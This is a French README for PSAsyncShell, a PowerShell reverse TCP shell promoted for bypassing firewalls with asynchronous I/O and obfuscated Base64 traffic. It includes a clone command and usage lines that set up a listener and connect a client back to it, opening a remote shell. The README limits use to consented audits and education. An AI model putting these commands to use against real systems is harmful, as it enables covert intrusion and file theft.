
Shell inverse TCP asynchrone en PowerShell pur qui contourne les pare-feu via des E/S non bloquantes, avec historique des commandes, téléchargement et envoi de fichiers, et trafic Base64 obfusqué.

PSAsyncShell est un Reverse Shell TCP Asynchrone écrit en PowerShell pur.
Contrairement à d'autres reverse shells, tout le flux de communication et d'exécution est fait de manière asynchrone, permettant de contourner certains pare-feux et certaines contre-mesures contre ce type de connexions distantes.
De plus, cet outil propose un historique des commandes, un effacement d'écran, le téléchargement et l'upload de fichiers, la division des informations en blocs et un trafic encodé et obscurci en reverse Base64 URL.
Il est recommandé de cloner l'intégralité du dépôt ou de télécharger le fichier zip. Vous pouvez le faire en exécutant la commande suivante :
git clone https://github.com/JoelGMSec/PSAsyncShell
.\PSAsyncShell.ps1 -h
____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/
---------------------- by @JoelGMSec -----------------------
Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls
Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client
.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server
Warning: All data will be sent unencrypted
Upload function doesn't use MultiPart
Ce projet est sous licence GNU 3.0 - voir le fichier LICENSE pour plus de détails.
Cet outil a été créé et conçu de zéro par Joel Gámez Molina // @JoelGMSec
Ce logiciel n'offre aucune garantie. Son utilisation est exclusive à des environnements éducatifs et/ou à des audits de sécurité avec le consentement correspondant du client. Je ne suis pas responsable de son mauvais usage ou des éventuels dommages causés par celui-ci.
Pour plus d'informations, vous pouvez me trouver sur Twitter en tant que @JoelGMSec et sur mon blog darkbyte.net.
Vous pouvez soutenir mon travail en m'offrant un café :